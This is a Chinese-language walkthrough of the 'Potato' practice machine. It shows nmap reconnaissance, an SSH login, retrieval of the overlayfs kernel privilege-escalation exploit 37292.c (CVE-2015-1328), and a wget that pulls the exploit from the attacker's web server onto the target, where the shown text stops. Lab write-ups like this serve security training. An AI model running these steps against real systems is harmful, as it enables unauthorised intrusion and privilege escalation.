root at kali in ~ $ ip --color address 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:36:e9:5d brd ff:ff:ff:ff:ff:ff inet 10.10.8.17/24 brd 10.10.8.255 scope global dynamic noprefixroute eth0 valid_lft 1717sec preferred_lft 1717sec inet6 fe80::fff8:80c4:4cdf:a014/64 scope link noprefixroute valid_lft forever preferred_lft forever
地址探测
使用 Nmap 扫描出一个 IP：10.10.8.15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in ~/Potato-Suncsr $ nmap -sn --min-rate 10000 10.10.8.0/24 -oN nmap_ip.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 10:12 CST Nmap scan report for 10.10.8.1 Host is up (0.000082s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 10.10.8.2 Host is up (0.000072s latency). MAC Address: 00:50:56:EA:61:D3 (VMware) Nmap scan report for 10.10.8.15 Host is up (0.000046s latency). MAC Address: 00:0C:29:FD:5A:29 (VMware) Nmap scan report for 10.10.8.254 Host is up (0.000024s latency). MAC Address: 00:50:56:E7:3A:52 (VMware) Nmap scan report for 10.10.8.17 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 14.41 seconds
端口扫描
扫描开放端口：
1 2 3 4 5 6 7 8 9 10 11 12 13
root at kali in ~/Potato-Suncsr $ nmap -p- -sC -T4 --min-rate 10000 10.10.8.15 -oN nmap_port.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 10:13 CST Nmap scan report for 10.10.8.15 Host is up (0.000034s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http |_http-title: Potato 7120/tcp open unknown MAC Address: 00:0C:29:FD:5A:29 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
root at kali in ~/Potato-Suncsr $ nmap -p80,7120 -sV -O -A -sC -T4 --min-rate 10000 10.10.8.15 -oN nmap_server.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 10:14 CST Nmap scan report for 10.10.8.15 Host is up (0.00062s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Potato |_http-server-header: Apache/2.4.7 (Ubuntu) 7120/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 b1:a8:49:bc:75:01:97:10:da:6a:fa:79:2f:12:41:30 (DSA) | 2048 0d:6c:93:2a:1b:6c:10:bb:d4:01:4d:9c:42:34:36:df (RSA) | 256 fc:96:d8:e5:a7:aa:d2:46:9b:00:bd:f2:be:45:cf:b5 (ECDSA) |_ 256 e3:b0:57:45:d3:83:44:45:af:3a:99:94:f8:25:a4:6c (ED25519) MAC Address: 00:0C:29:FD:5A:29 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.62 ms 10.10.8.15
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.87 seconds
root at kali in ~/Potato-Suncsr $ nmap --script=vuln -T4 --min-rate 10000 10.10.8.15 -oN nmap_vuln.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 10:14 CST Nmap scan report for 10.10.8.15 Host is up (0.000069s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: |_ /info.php: Possible information file MAC Address: 00:0C:29:FD:5A:29 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 320.79 seconds
root at kali in ~/Potato-Suncsr $ ssh potato@10.10.8.15 -p 7120 potato@10.10.8.15's password: Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)
* Documentation: https://help.ubuntu.com/ Last login: Tue Sep 8 02:04:57 2020 from 192.168.17.172 potato@ubuntu:~$ id uid=1000(potato) gid=1000(potato) groups=1000(potato),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
root at kali in ~/Potato-Suncsr $ searchsploit -m 37292.c Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation URL: https://www.exploit-db.com/exploits/37292 Path: /usr/share/exploitdb/exploits/linux/local/37292.c Codes: CVE-2015-1328 Verified: True File Type: C source, ASCII text, with very long lines (466) Copied to: /root/Potato-Suncsr/37292.c
root at kali in ~/Potato-Suncsr $ ls 37292.c nmap_ip.txt nmap_port.txt nmap_server.txt nmap_vuln.txt
由于需要将 37292.c 文件上传至靶机进行编译，在 Kali 本地使用 Python 开启一个 Web 服务：
1 2 3 4
root at kali in ~/Potato-Suncsr $ python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
在靶机中使用 Wget 下载该文件：
1 2 3 4 5 6 7 8 9 10 11 12 13
potato@ubuntu:~$ wget http://10.10.8.17/37292.c --2024-06-13 20:26:54-- http://10.10.8.17/37292.c Connecting to 10.10.8.17:80... connected. HTTP request sent, awaiting response... 200 OK Length: 4968 (4.9K) [text/x-csrc] Saving to: ‘37292.c’ 100%[===============================================>] 4,968 --.-K/s in 0s
Wechat
Alipay
